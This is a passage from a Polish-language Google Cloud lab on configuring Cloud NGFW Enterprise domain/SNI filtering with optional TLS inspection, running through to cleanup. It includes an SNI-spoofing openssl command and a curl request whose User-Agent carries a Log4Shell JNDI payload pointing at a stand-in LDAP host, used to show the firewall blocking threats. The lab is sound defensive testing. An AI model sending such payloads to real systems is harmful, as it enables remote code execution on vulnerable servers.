Services, CN = WR2 --- No client certificate CA names sent Peer signing digest: SHA256 Peer signature type: RSA-PSS Server Temp Key: X25519, 253 bits --- SSL handshake has read 4495 bytes and written 397 bytes Verification: OK --- New, TLSv1.3, Cipher is TLS_AES_256_GCM_SHA384 Server public key is 2048 bit Secure Renegotiation IS NOT supported Compression: NONE Expansion: NONE No ALPN negotiated Early data was not sent Verify return code: 0 (ok) ---
Inspekcja TLS może pomóc w załataniu tej dziury.
Zamknij połączenie i opuść maszynę wirtualną:
"ctrl" + c exit
18. [Opcjonalnie] Inspekcja TLS
Konfigurowanie zasobów TLS
Ta sekcja jest opcjonalna, ponieważ filtrowanie domen/SNI działa bez konieczności kontroli TLS. Jeśli jednak planujesz korzystać z zapobiegania zagrożeniom lub w przyszłości, gdy będzie dostępne filtrowanie pełnych adresów URL, chcesz tworzyć w profilu zabezpieczeń reguły oparte na ścieżkach, możesz włączyć inspekcję TLS.
Dodatkowo inspekcja TLS zapewnia dodatkową warstwę kontroli, ponieważ istnieje możliwość fałszowania SNI.
Utwórz pulę urzędów certyfikacji. To zasób, w którym będzie przechowywany wygenerowany przez nas certyfikat głównego urzędu certyfikacji dla NGFW Enterprise.
gcloud privateca pools create $prefix-CA-Pool --project=$project_id --location=$region --tier=devops
Utwórz główny urząd certyfikacji. Jest to certyfikat CA, który będzie używany do podpisywania dodatkowych certyfikatów w przypadku żądań przesyłanych przez NGFW Enterprise.
gcloud privateca roots create $prefix-CA-Root --project=$project_id --location=$region --pool=$prefix-CA-Pool --subject="CN=NGFW Enterprise Test CA 2, O=Google NGFW Enterprise Domain/SNI"
Jeśli pojawi się poniższy komunikat, odpowiedz y:
The CaPool [ngfw-enterprise-CA-Pool] has no enabled CAs and cannot issue any certificates until at least one CA is enabled. Would you like to also enable this CA? Do you want to continue (y/N)?
Utwórz konto usługi. To konto usługi będzie używane do wysyłania próśb o certyfikaty dla NGFW Enterprise:
gcloud beta services identity create --service=networksecurity.googleapis.com --project=$project_id
Ustaw uprawnienia konta usługi:
gcloud privateca pools add-iam-policy-binding $prefix-CA-Pool --project=$project_id --location=$region --member=serviceAccount:service-$project_number@gcp-sa-networksecurity.iam.gserviceaccount.com --role=roles/privateca.certificateRequester
Utwórz plik YAML zasad TLS. Będzie on zawierał informacje o konkretnych zasobach:
cat > tls_policy.yaml << EOF description: Test tls inspection policy. name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool excludePublicCaSet: false EOF
Zaimportuj zasadę inspekcji TLS:
gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml
Zaktualizuj powiązanie punktu końcowego, aby włączyć TLS:
gcloud network-security firewall-endpoint-associations update $prefix-association --zone=$zone --project=$project_id --tls-inspection-policy=$prefix-tls-policy --tls-inspection-policy-project=$project_id --tls-inspection-policy-region=$region
Pobierz certyfikat CA i dodaj go do magazynu CA klienta. Jest to wymagane w przypadku zaufania, ponieważ NGFW Enterprise ustanowi protokół TLS i przedstawi podpisany certyfikat z puli urzędów certyfikacji:
gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" >> $prefix-CA-Root.crt
Przenieś certyfikat CA na klienta:
gcloud compute scp --tunnel-through-iap $prefix-CA-Root.crt $prefix-$zone-client:~/ --zone=$zone
Połącz się z maszyną wirtualną za pomocą SSH, przenieś certyfikat CA do katalogu /usr/local/share/ca-certificates i zaktualizuj magazyn CA:
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone sudo mv domain-sni-CA-Root.crt /usr/local/share/ca-certificates/ sudo update-ca-certificates
Zamknij maszynę wirtualną i kontynuuj w Cloud Shell.
Aktualizowanie reguły zapory sieciowej na potrzeby inspekcji TLS
gcloud compute network-firewall-policies rules update 300 --action=apply_security_profile_group --firewall-policy=$prefix-fwpolicy --global-firewall-policy --direction=EGRESS --security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg --layer4-configs=tcp:80,tcp:443 --dest-ip-ranges=0.0.0.0/0 --enable-logging --tls-inspect
Sprawdzanie reguł za pomocą inspekcji TLS
Zainicjuj połączenie SSH z maszyną wirtualną za pomocą IAP:
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
Wyślij przykładowe żądania do dozwolonych miejsc docelowych:
curl https://wikipedia.org --max-time 2 curl https://ifconfig.me --max-time 2
Powinny one przejść bez problemu. Jeśli chcesz sprawdzić certyfikat i potwierdzić, czy jest on podpisany przez NGFW, możesz uruchomić to polecenie:
curl https://ifconfig.me --max-time 2 -vv
Oczekiwane dane wyjściowe:
admin@domain-sni-us-west1-a-client:~$ curl https://ifconfig.me --max-time 2 -vv * Trying 34.160.111.145:443... * Connected to ifconfig.me (34.160.111.145) port 443 (#0) * ALPN: offers h2,http/1.1 * TLSv1.3 (OUT), TLS handshake, Client hello (1): * CAfile: /etc/ssl/certs/ca-certificates.crt * CApath: /etc/ssl/certs * TLSv1.3 (IN), TLS handshake, Server hello (2): * TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8): * TLSv1.3 (IN), TLS handshake, Certificate (11): * TLSv1.3 (IN), TLS handshake, CERT verify (15): * TLSv1.3 (IN), TLS handshake, Finished (20): * TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1): * TLSv1.3 (OUT), TLS handshake, Finished (20): * SSL connection using TLSv1.3 / TLS_AES_256_GCM_SHA384 * ALPN: server did not agree on a protocol. Uses default. * Server certificate: * subject: CN=ifconfig.me * start date: Sep 20 07:05:42 2025 GMT * expire date: Sep 21 06:58:10 2025 GMT * subjectAltName: host "ifconfig.me" matched cert's "ifconfig.me" * issuer: CN=Google Cloud Firewall Intermediate CA ID#5226903875461534691 * SSL certificate verify ok. * using HTTP/1.x > GET / HTTP/1.1 > Host: ifconfig.me > User-Agent: curl/7.88.1 > Accept: */* > * TLSv1.3 (IN), TLS handshake, Newsession Ticket (4): < HTTP/1.1 200 OK < Content-Length: 10 < access-control-allow-origin: * < content-type: text/plain < date: Sat, 20 Sep 2025 07:05:43 GMT < via: 1.1 google < Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 < * Connection #0 to host ifconfig.me left intact x.x.x.x
Z powyższych danych wyjściowych wynika, że żądanie jest sprawdzane przez NGFW Enterprise za pomocą protokołu TLS, ponieważ otrzymany certyfikat jest podpisany przez utworzony wcześniej główny urząd certyfikacji. (pole wydawcy)
Sprawdzanie reguł, które próbują sfałszować SNI za pomocą inspekcji TLS
Sprawdźmy teraz, jak działa inspekcja TLS.
Aby sfałszować SNI, uruchom to polecenie openssl:
openssl s_client -connect www.google.com:443 -servername ifconfig.me
Oczekiwane dane wyjściowe:
CONNECTED(00000003) write:errno=104 --- no peer certificate available --- No client certificate CA names sent --- SSL handshake has read 0 bytes and written 317 bytes Verification: OK --- New, (NONE), Cipher is (NONE) Secure Renegotiation IS NOT supported Compression: NONE Expansion: NONE No ALPN negotiated Early data was not sent Verify return code: 0 (ok) ---
Z powyższego wyniku wynika, że wcześniej działające żądanie fałszowania SNI teraz kończy się niepowodzeniem, gdy włączona jest kontrola TLS. Dzieje się tak, ponieważ gdy włączona jest kontrola protokołu TLS, NGFW sprawdza SNI pod kątem alternatywnej nazwy podmiotu (SAN) certyfikatu serwera. Jeśli nie będzie się zgadzać, uzgadnianie połączenia TLS nie powiedzie się.
Weryfikacja domeny/SNI i zapobieganie zagrożeniom za pomocą inspekcji TLS
Ponownie przeprowadzimy test, który wcześniej wykrył złośliwe żądanie (log4j) do dozwolonej domeny.
Wysyłanie przykładowego złośliwego kodu (log4j) do dozwolonej domeny lub miejsca docelowego SNI:
curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2
Oczekiwane dane wyjściowe:
000
Ten kod odpowiedzi 000 oznacza, że połączenie zostało zakończone przez NGFW, ponieważ wykryto zagrożenie. Aby to potwierdzić, możemy zebrać bardziej szczegółowe dane wyjściowe.
curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2 -vv
Oczekiwane dane wyjściowe:
* Trying 89.238.73.97:443...
* Connected to www.eicar.org (89.238.73.97) port 443 (#0)
* ALPN: offers h2,http/1.1
} [5 bytes data]
* TLSv1.3 (OUT), TLS handshake, Client hello (1):
} [512 bytes data]
* CAfile: /etc/ssl/certs/ca-certificates.crt
* CApath: /etc/ssl/certs
{ [5 bytes data]
* TLSv1.3 (IN), TLS handshake, Server hello (2):
{ [122 bytes data]
* TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8):
{ [6 bytes data]
* TLSv1.3 (IN), TLS handshake, Certificate (11):
{ [3423 bytes data]
* TLSv1.3 (IN), TLS handshake, CERT verify (15):
{ [80 bytes data]
* TLSv1.3 (IN), TLS handshake, Finished (20):
{ [52 bytes data]
* TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1):
} [1 bytes data]
* TLSv1.3 (OUT), TLS handshake, Finished (20):
} [52 bytes data]
* SSL connection using TLSv1.3 / TLS_AES_256_GCM_SHA384
* ALPN: server did not agree on a protocol. Uses default.
* Server certificate:
* subject: CN=www.eicar.org
* start date: Sep 20 07:50:20 2025 GMT
* expire date: Sep 21 10:41:22 2025 GMT
* subjectAltName: host "www.eicar.org" matched cert's "www.eicar.org"
* issuer: CN=Google Cloud Firewall Intermediate CA ID#4044393130040997148
* SSL certificate verify ok.
* using HTTP/1.x
} [5 bytes data]
> GET / HTTP/1.1
> Host: www.eicar.org
> Accept: */*
> User-Agent: ${jndi:ldap://123.123.123.123:8055/a}
>
* Recv failure: Connection reset by peer
* OpenSSL SSL_read: Connection reset by peer, errno 104
* Closing connection 0
} [5 bytes data]
* Send failure: Broken pipe
000
Z powyższego wynika, że NGFW przeprowadził inspekcję TLS i zablokował złośliwe żądanie.
Wyjdź z maszyny wirtualnej:
exit
Aby dowiedzieć się, jak usunąć te pliki, przejdź do następnej sekcji.
19. Procedura czyszczenia
Czyszczenie konfiguracji podstawowej
Usuń instancje:
gcloud -q compute instances delete $prefix-$zone-client --zone=$zone
Usuń zasadę sieciową zapory sieciowej Cloud Firewall i powiązanie:
gcloud -q compute network-firewall-policies associations delete \
--firewall-policy $prefix-fwpolicy \
--name $prefix-fwpolicy-association \
--global-firewall-policy
gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global
Usuń router Cloud Router i Cloud NAT:
gcloud -q compute routers nats delete $prefix-cloudnat-$region \ --router=$prefix-cr --router-region $region gcloud -q compute routers delete $prefix-cr --region=$region
Usuń zarezerwowane adresy IP:
gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region
Czyszczenie SPG i powiązań Cloud Firewall
Usuń grupę profili zabezpieczeń i profil filtrowania zagrożeń i adresów URL w tej kolejności:
gcloud -q network-security security-profile-groups delete \ $prefix-spg \ --organization $org_id \ --location=global gcloud -q network-security security-profiles threat-prevention \ delete $prefix-sp-threat \ --organization $org_id \ --location=global gcloud -q network-security security-profiles url-filtering \ delete $prefix-sp \ --organization $org_id \ --location=global
Usuń powiązanie punktu końcowego zapory sieciowej:
gcloud -q network-security firewall-endpoint-associations delete \ $prefix-association --zone $zone
Usuń punkt końcowy zapory sieciowej Cloud Firewall. Może to potrwać około 20 minut:
gcloud -q network-security firewall-endpoints delete $prefix-$zone --zone=$zone --organization $org_id
Opcjonalnie możesz sprawdzić, czy punkt końcowy Cloud NGFW został usunięty. W tym celu uruchom to polecenie:
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
Stan punktu końcowego powinien wskazywać:
STATE: DELETING
Po zakończeniu punkt końcowy nie będzie już widoczny na liście.
[Opcjonalnie] Czyszczenie TLS
Jeśli przeprowadzono opcjonalne konfiguracje inspekcji TLS, uruchom te polecenia, aby wyczyścić zasoby TLS.
Usuń zasadę TLS:
gcloud -q network-security tls-inspection-policies delete \ $prefix-tls-policy \ --location=$region
Wyłącz i usuń główny urząd certyfikacji oraz pulę urzędów certyfikacji:
gcloud -q privateca roots disable $prefix-CA-Root \ --location=$region \ --pool=$prefix-CA-Pool \ --ignore-dependent-resources gcloud -q privateca roots delete $prefix-CA-Root \ --location=$region \ --pool=$prefix-CA-Pool \ --skip-grace-period \ --ignore-active-certificates \ --ignore-dependent-resources gcloud -q privateca pools delete $prefix-CA-Pool \ --location=$region \ --ignore-dependent-resources
Czyszczenie podsieci i sieci VPC
Na koniec usuń podsieć i sieć VPC:
gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region gcloud -q compute networks delete $prefix-vpc
20. Podsumowanie i wskazówki
Ten moduł jest bardzo prosty i testuje tylko jedną maszynę wirtualną, która łączy się z internetem. W rzeczywistych scenariuszach VPC może zawierać wiele zasobów, a ruch może odbywać się we wszystkich kierunkach (północ–południe i wschód–zachód). Reguła zapory sieciowej do filtrowania domeny lub SNI to WYJŚCIE 0.0.0.0/0, więc jest to reguła „obejmująca wszystko” i MUSI być skonfigurowana jako reguła o najniższym priorytecie w zasadach sieci. W przeciwnym razie ruch będzie nieoczekiwanie dopasowywany i zezwalany lub odrzucany na podstawie domyślnej reguły urlFiltering.
Aby ograniczyć zakres, możesz też użyć opcji Typy sieci. Zapobiega to dopasowaniu ruchu E/W do reguły. Możesz też utworzyć regułę zezwalającą o wyższym priorytecie dla ruchu E/W.
Zapoznaj się z dokumentem dotyczącym sprawdzonych metod, w którym szczegółowo opisano filtrowanie domen/SNI.
21. Gratulacje!
Gratulujemy! Udało Ci się ukończyć ćwiczenie Cloud NGFW Enterprise dotyczące filtrowania domen i SNI z opcjonalną inspekcją TLS.